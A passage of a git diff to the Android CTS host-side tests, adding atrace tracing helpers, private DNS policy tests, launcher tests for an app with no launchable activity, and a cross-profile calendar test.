+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
+import java.util.Map;
+import java.util.concurrent.Callable;
+
+import trebuchet.io.BufferProducer;
+import trebuchet.io.DataSlice;
+import trebuchet.model.Model;
+import trebuchet.task.ImportTask;
+import trebuchet.util.PrintlnImportFeedback;
+
+public class AtraceHostTestBase extends DeviceTestCase implements IBuildReceiver {
+ private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+ private static final String TEST_APK = "CtsAtraceTestApp.apk";
+ // TODO: Make private
+ protected static final String TEST_PKG = "com.android.cts.atracetestapp";
+ private static final String TEST_CLASS = "com.android.cts.atracetestapp.AtraceDeviceTests";
+
+ private static final String START_TRACE_CMD = "atrace --async_start -a \\* -c -b 16000";
+ private static final String START_TRACE_NO_APP_CMD = "atrace --async_start -c -b 16000";
+ private static final String STOP_TRACE_CMD = "atrace --async_stop";
+
+ private IBuildInfo mCtsBuild;
+ private boolean mIsInstalled = false;
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ /**
+ * Install a device side test package.
+ *
+ * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
+ * @param grantPermissions whether to give runtime permissions.
+ */
+ private void installPackage(String appFileName, boolean grantPermissions)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ LogUtil.CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ final String result = getDevice().installPackage(
+ buildHelper.getTestFile(appFileName), true, grantPermissions);
+ assertNull("Failed to install " + appFileName + ": " + result, result);
+ }
+
+ private final void requireApk() {
+ if (mIsInstalled) return;
+ try {
+ System.out.println("Installing APK");
+ installPackage(TEST_APK, true);
+ mIsInstalled = true;
+ } catch (FileNotFoundException | DeviceNotAvailableException e) {
+ e.printStackTrace();
+ throw new RuntimeException(e);
+ }
+ }
+
+ protected final void turnScreenOn() {
+ shell("input keyevent KEYCODE_WAKEUP");
+ shell("wm dismiss-keyguard");
+ }
+
+ @Override
+ public void run(junit.framework.TestResult result) {
+ try {
+ super.run(result);
+ } finally {
+ try {
+ // We don't have the equivalent of @AfterClass, but this basically does that
+ System.out.println("Uninstalling APK");
+ getDevice().uninstallPackage(TEST_PKG);
+ mIsInstalled = false;
+ } catch (DeviceNotAvailableException e) {}
+ }
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ try {
+ shell("atrace --async_stop");
+ } finally {
+ super.setUp();
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ try {
+ shell("atrace --async_stop");
+ } finally {
+ super.tearDown();
+ }
+ }
+
+ /**
+ * Run a device side test.
+ *
+ * @param pkgName Test package name, such as "com.android.server.cts.netstats".
+ * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
+ * @param testMethodName Test method name.
+ * @throws DeviceNotAvailableException
+ */
+ private PidTidPair runDeviceTests(String pkgName,
+ String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ if (testClassName != null && testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
+
+ RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+ pkgName, TEST_RUNNER, getDevice().getIDevice());
+ if (testClassName != null && testMethodName != null) {
+ testRunner.setMethodName(testClassName, testMethodName);
+ } else if (testClassName != null) {
+ testRunner.setClassName(testClassName);
+ }
+
+ CollectingTestListener listener = new CollectingTestListener();
+ assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+
+ final TestRunResult result = listener.getCurrentRunResults();
+ if (result.isRunFailure()) {
+ throw new AssertionError("Failed to successfully run device tests for "
+ + result.getName() + ": " + result.getRunFailureMessage());
+ }
+ if (result.getNumTests() == 0) {
+ throw new AssertionError("No tests were run on the device");
+ }
+
+ if (result.hasFailedTests()) {
+ // build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ result.getTestResults().entrySet()) {
+ if (!resultEntry.getValue().getStatus().equals(
+ com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+ return new PidTidPair(result);
+ }
+
+ private final PidTidPair runAppTest(String testname) {
+ requireApk();
+ try {
+ return runDeviceTests(TEST_PKG, TEST_CLASS, testname);
+ } catch (DeviceNotAvailableException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ protected final String shell(String command, String... args) {
+ if (args != null && args.length > 0) {
+ command += " " + String.join(" ", args);
+ }
+ try {
+ return getDevice().executeShellCommand(command);
+ } catch (DeviceNotAvailableException ex) {
+ throw new RuntimeException(ex);
+ }
+ }
+
+ private static class StringAdapter implements BufferProducer {
+ private byte[] data;
+ private boolean hasRead = false;
+
+ StringAdapter(String str) {
+ this.data = str.getBytes(StandardCharsets.UTF_8);
+ }
+
+ @Override
+ public DataSlice next() {
+ if (!hasRead) {
+ hasRead = true;
+ return new DataSlice(data);
+ }
+ return null;
+ }
+
+ @Override
+ public void close() {
+ hasRead = true;
+ }
+ }
+
+ private Model parse(String traceOutput) {
+ ImportTask importTask = new ImportTask(new PrintlnImportFeedback());
+ return importTask.importTrace(new StringAdapter(traceOutput));
+ }
+
+ protected final PidTidPair runSingleAppTest(AtraceDeviceTestList test) {
+ return runAppTest(test.toString());
+ }
+
+ protected final TraceResult traceSingleTest(AtraceDeviceTestList test, boolean withAppTracing,
+ String... categories) {
+ requireApk();
+ shell(withAppTracing ? START_TRACE_CMD : START_TRACE_NO_APP_CMD, categories);
+ PidTidPair pidTid = runSingleAppTest(test);
+ String traceOutput = shell("atrace --async_stop", categories);
+ assertNotNull("unable to capture atrace output", traceOutput);
+ return new TraceResult(pidTid, parse(traceOutput));
+ }
+
+ protected final TraceResult traceSingleTest(AtraceDeviceTestList test, String... categories) {
+ return traceSingleTest(test, true, categories);
+ }
+}
diff --git a/hostsidetests/atrace/src/android/atrace/cts/PidTidPair.java b/hostsidetests/atrace/src/android/atrace/cts/PidTidPair.java
new file mode 100644
index 0000000..91c944c
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/PidTidPair.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+import com.android.tradefed.result.TestRunResult;
+
+import java.util.Map;
+
+public class PidTidPair {
+ public final int pid;
+ public final int tid;
+
+ PidTidPair(TestRunResult testRunResult) {
+ Map<String, String> metrics = testRunResult.getRunMetrics();
+ pid = Integer.parseInt(metrics.get("AtraceDeviceTests_pid"));
+ tid = Integer.parseInt(metrics.get("AtraceDeviceTests_tid"));
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/atrace/src/android/atrace/cts/TraceResult.java b/hostsidetests/atrace/src/android/atrace/cts/TraceResult.java
new file mode 100644
index 0000000..20d624a
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/TraceResult.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+import trebuchet.model.Model;
+
+public class TraceResult {
+ private final PidTidPair mPidTidPair;
+ private final Model mModel;
+
+ public TraceResult(PidTidPair pidTidPair, Model model) {
+ mModel = model;
+ mPidTidPair = pidTidPair;
+ }
+
+ public int getTid() { return mPidTidPair.tid; }
+ public int getPid() { return mPidTidPair.pid; }
+ public Model getModel() { return mModel; }
+}
diff --git a/hostsidetests/atrace/src/android/atrace/cts/UncheckedThrow.java b/hostsidetests/atrace/src/android/atrace/cts/UncheckedThrow.java
new file mode 100644
index 0000000..a1c21c8
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/UncheckedThrow.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+public class UncheckedThrow {
+ /**
+ * Throw any kind of exception without needing it to be checked
+ * @param e any instance of a Exception
+ */
+ public static void throwAnyException(Exception e) {
+ /**
+ * Abuse type erasure by making the compiler think we are throwing RuntimeException,
+ * which is unchecked, but then inserting any exception in there.
+ */
+ UncheckedThrow.<RuntimeException>throwAnyImpl(e);
+ }
+
+ /**
+ * Throw any kind of throwable without needing it to be checked
+ * @param e any instance of a Throwable
+ */
+ public static void throwAnyException(Throwable e) {
+ /**
+ * Abuse type erasure by making the compiler think we are throwing RuntimeException,
+ * which is unchecked, but then inserting any exception in there.
+ */
+ UncheckedThrow.<RuntimeException>throwAnyImpl(e);
+ }
+
+ @SuppressWarnings("unchecked")
+ private static<T extends Throwable> void throwAnyImpl(Throwable e) throws T {
+ throw (T) e;
+ }
+}
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index 463a6d5..856e24b 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -29,7 +29,8 @@
cts-tradefed \
tradefed \
compatibility-host-util \
- guava
+ guava \
+ truth-prebuilt
LOCAL_CTS_TEST_PACKAGE := android.adminhostside
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
index b0c798e..8e51bc3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
@@ -23,14 +23,13 @@
import android.app.admin.DevicePolicyManager;
import android.os.UserManager;
-import org.junit.Test;
-
import static com.google.common.truth.Truth.assertThat;
import static org.testng.Assert.assertThrows;
public class PrivateDnsPolicyTest extends BaseDeviceOwnerTest {
- private static final String PRIVATE_DNS_HOST = "resolver.example.com";
+ private static final String DUMMY_PRIVATE_DNS_HOST = "resolver.example.com";
+ private static final String VALID_PRIVATE_DNS_HOST = "dns.google";
private UserManager mUserManager;
@@ -70,17 +69,37 @@
}
}
+ /**
+ * Call DevicePolicyManager.setGlobalPrivateDns with the given mode, host, expecting
+ * the result code expectedResult.
+ */
+ private void callSetGlobalPrivateDnsExpectingResult(int mode, String privateDnsHost,
+ int expectedResult) {
+ int resultCode = mDevicePolicyManager.setGlobalPrivateDns(getWho(), mode, privateDnsHost);
+
+ assertEquals(
+ String.format(
+ "Call to setGlobalPrivateDns with mode %d and host %s "
+ + "should have produced result %d, but was %d",
+ mode, privateDnsHost, expectedResult, resultCode),
+ expectedResult, resultCode);
+ }
+
public void testCannotSetOffMode() {
assertThrows(
IllegalArgumentException.class,
- () -> mDevicePolicyManager.setGlobalPrivateDns(getWho(),
- PRIVATE_DNS_MODE_OFF, null)
- );
+ () -> mDevicePolicyManager.setGlobalPrivateDns(
+ getWho(), PRIVATE_DNS_MODE_OFF, null));
+
+ assertThat(
+ mDevicePolicyManager.getGlobalPrivateDnsMode(getWho())).isNotEqualTo(
+ PRIVATE_DNS_MODE_OFF);
}
public void testSetOpportunisticMode() {
- mDevicePolicyManager.setGlobalPrivateDns(getWho(),
- PRIVATE_DNS_MODE_OPPORTUNISTIC, null);
+ callSetGlobalPrivateDnsExpectingResult(PRIVATE_DNS_MODE_OPPORTUNISTIC, null,
+ DevicePolicyManager.PRIVATE_DNS_SET_SUCCESS);
+
assertThat(
mDevicePolicyManager.getGlobalPrivateDnsMode(getWho())).isEqualTo(
PRIVATE_DNS_MODE_OPPORTUNISTIC);
@@ -88,14 +107,32 @@
}
public void testSetSpecificHostMode() {
- mDevicePolicyManager.setGlobalPrivateDns(getWho(),
- PRIVATE_DNS_MODE_PROVIDER_HOSTNAME, PRIVATE_DNS_HOST);
+ callSetGlobalPrivateDnsExpectingResult(PRIVATE_DNS_MODE_PROVIDER_HOSTNAME,
+ VALID_PRIVATE_DNS_HOST,
+ DevicePolicyManager.PRIVATE_DNS_SET_SUCCESS);
assertThat(
mDevicePolicyManager.getGlobalPrivateDnsMode(getWho())).isEqualTo(
PRIVATE_DNS_MODE_PROVIDER_HOSTNAME);
assertThat(
mDevicePolicyManager.getGlobalPrivateDnsHost(getWho())).isEqualTo(
- PRIVATE_DNS_HOST);
+ VALID_PRIVATE_DNS_HOST);
+ }
+
+ public void testSetModeWithIncorrectHost() {
+ assertThrows(
+ IllegalArgumentException.class,
+ () -> mDevicePolicyManager.setGlobalPrivateDns(
+ getWho(), PRIVATE_DNS_MODE_PROVIDER_HOSTNAME, null));
+
+ assertThrows(
+ IllegalArgumentException.class,
+ () -> mDevicePolicyManager.setGlobalPrivateDns(
+ getWho(), PRIVATE_DNS_MODE_OPPORTUNISTIC, DUMMY_PRIVATE_DNS_HOST));
+
+ // This host does not resolve, so would output an error.
+ callSetGlobalPrivateDnsExpectingResult(PRIVATE_DNS_MODE_PROVIDER_HOSTNAME,
+ DUMMY_PRIVATE_DNS_HOST,
+ DevicePolicyManager.PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING);
}
}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index e8a1291..5404058 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -15,6 +15,8 @@
*/
package com.android.cts.launchertests;
+import static org.junit.Assert.assertNotEquals;
+
import android.app.Instrumentation;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -22,10 +24,12 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.content.ServiceConnection;
+import android.content.pm.ActivityInfo;
import android.content.pm.ApplicationInfo;
import android.content.pm.LauncherActivityInfo;
import android.content.pm.LauncherApps;
import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
@@ -48,6 +52,10 @@
public class LauncherAppsTests extends AndroidTestCase {
public static final String SIMPLE_APP_PACKAGE = "com.android.cts.launcherapps.simpleapp";
+ private static final String NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE =
+ "com.android.cts.nolaunchableactivityapp";
+
+ private static final String SYNTHETIC_APP_DETAILS_ACTIVITY = "android.app.AppDetailsActivity";
public static final String USER_EXTRA = "user_extra";
public static final String PACKAGE_EXTRA = "package_extra";
@@ -201,6 +209,49 @@
assertFalse(mLauncherApps.isPackageEnabled("android", mUser));
}
+ public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
+ // NoLaunchableActivityApp is installed for duration of this test - make sure
+ // it's present on the activity list, has the synthetic activity generated, and it's
+ // enabled and exported
+ List<LauncherActivityInfo> activities = mLauncherApps.getActivityList(null, mUser);
+ boolean noLaunchableActivityAppFound = false;
+ for (LauncherActivityInfo activity : activities) {
+ ComponentName compName = activity.getComponentName();
+ if (compName.getPackageName().equals(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE)) {
+ noLaunchableActivityAppFound = true;
+ // make sure it points to the synthetic app details activity
+ assertEquals(activity.getName(), SYNTHETIC_APP_DETAILS_ACTIVITY);
+ // make sure it's both exported and enabled
+ try {
+ PackageManager pm = mInstrumentation.getContext().getPackageManager();
+ ActivityInfo ai = pm.getActivityInfo(compName, /*flags=*/ 0);
+ assertTrue("Component " + compName + " is not enabled", ai.enabled);
+ assertTrue("Component " + compName + " is not exported", ai.exported);
+ } catch (NameNotFoundException e) {
+ fail("Package " + compName.getPackageName() + " not found.");
+ }
+ }
+ }
+ assertTrue(noLaunchableActivityAppFound);
+ }
+
+ public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
+ List<LauncherActivityInfo> activities = mLauncherApps.getActivityList(null, mUser);
+ for (LauncherActivityInfo activity : activities) {
+ ApplicationInfo appInfo = activity.getApplicationInfo();
+ boolean isSystemApp = ((appInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0)
+ || ((appInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0);
+ if (isSystemApp) {
+ // make sure we haven't generated a synthetic app details activity for it
+ assertNotEquals("Found a system app that had a synthetic activity generated,"
+ + " package name: " + activity.getComponentName().getPackageName()
+ + "; activity name: " + activity.getName(),
+ activity.getName(),
+ SYNTHETIC_APP_DETAILS_ACTIVITY);
+ }
+ }
+ }
+
private void expectSecurityException(ExceptionRunnable action, String failMessage)
throws Exception {
try {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
new file mode 100644
index 0000000..7797c46
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import java.util.Set;
+
+/**
+ * This class contains tests for cross profile calendar related features. Most of the tests in
+ * this class will need different setups, so the tests will be run separately.
+ */
+public class CrossProfileCalendarTest extends BaseManagedProfileTest {
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ // Make sure we are running in a managed profile.
+ assertThat(mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT)).isTrue();
+ assertThat(mDevicePolicyManager.isProfileOwnerApp(
+ ADMIN_RECEIVER_COMPONENT.getPackageName())).isTrue();
+ }
+
+ public void testCrossPrfileCalendarPackage() throws Exception {
+ final String TEST_PACKAGE_NAME = "test.calendar.package.name";
+ Set<String> whitelist = mDevicePolicyManager.getCrossProfileCalendarPackages(
+ ADMIN_RECEIVER_COMPONENT);
+ assertThat(whitelist).isEmpty();
+
+ mDevicePolicyManager.addCrossProfileCalendarPackage(
+ ADMIN_RECEIVER_COMPONENT, TEST_PACKAGE_NAME);
+ whitelist = mDevicePolicyManager.getCrossProfileCalendarPackages(
+ ADMIN_RECEIVER_COMPONENT);
+ assertThat(whitelist.size()).isEqualTo(1);
+ assertThat(whitelist.contains(TEST_PACKAGE_NAME)).isTrue();
+
+ assertThat(mDevicePolicyManager.removeCrossProfileCalendarPackage(
+ ADMIN_RECEIVER_COMPONENT, TEST_PACKAGE_NAME)).isTrue();
+ whitelist = mDevicePolicyManager.getCrossProfileCalendarPackages(
+ ADMIN_RECEIVER_COMPONENT);
+ assertThat(whitelist).isEmpty();
+ }
+}
diff --git a/hostsidetests/angle/app/debugOption/Android.mk b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.mk
similarity index 66%
copy from hostsidetests/angle/app/debugOption/Android.mk
copy to hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.mk
index 64564c7..c3a2e9f 100644
--- a/hostsidetests/angle/app/debugOption/Android.mk
+++ b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.mk
@@ -12,26 +12,26 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-java-files-under, ../common)
-
+# Don't include this package in any target
LOCAL_MODULE_TAGS := tests
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_PACKAGE_NAME := CtsAngleDebugOptionTestCases
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_PACKAGE_NAME := CtsNoLaunchableActivityApp
LOCAL_SDK_VERSION := current
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test AngleIntegrationTestCommon
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
new file mode 100755
index 0000000..7b8b808
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.nolaunchableactivityapp">
+
+ <application>
+ <service android:name=".EmptyService" android:enabled="true"></service>
+ </application>
+
+</manifest>
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
index 14dbf6b..6cd0da6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,20 +13,20 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+package com.android.cts.nolaunchableactivityapp;
-package android.security.cts;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+public class EmptyService extends Service {
+ public EmptyService() {
}
- }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ // do nothing, just here for the app to have some code
+ throw new UnsupportedOperationException("Not yet implemented");
+ }
}
+
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 3ca155f..5ec9ef8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -739,7 +739,7 @@
String[] tokens = line.split("\\{|\\}");
String componentName = tokens[1];
// Skip to user id line.
- i += 3;
+ i += 4;
line = lines[i].trim();
// Line is User ID: <N>
tokens = line.split(":");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
new file mode 100644
index 0000000..7c80023
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import java.util.Collections;
+
+/**
+ * Set of tests for the limit app icon hiding feature.
+ */
+public class LimitAppIconHidingTest extends BaseLauncherAppsTest {
+
+ private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
+ "CtsNoLaunchableActivityApp.apk";
+
+ private boolean mHasLauncherApps;
+ private String mSerialNumber;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mHasLauncherApps = getDevice().getApiLevel() >= 21;
+
+ if (mHasLauncherApps) {
+ mSerialNumber = Integer.toString(getUserSerialNumber(USER_SYSTEM));
+ installTestApps();
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mHasLauncherApps) {
+ uninstallTestApps();
+ }
+ super.tearDown();
+ }
+
+ @Override
+ protected void installTestApps() throws Exception {
+ super.installTestApps();
+ installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mPrimaryUserId);
+ }
+
+ @Override
+ protected void uninstallTestApps() throws Exception {
+ super.uninstallTestApps();
+ getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+ }
+
+ public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
+ if (!mHasLauncherApps) {
+ return;
+ }
+ runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+ LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+ mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+ }
+
+ public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
+ if (!mHasLauncherApps) {
+ return;
+ }
+ runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+ LAUNCHER_TESTS_CLASS, "testNoSystemAppHasSyntheticAppDetailsActivityInjected",
+ mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 0b98f41..2f4d5d1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
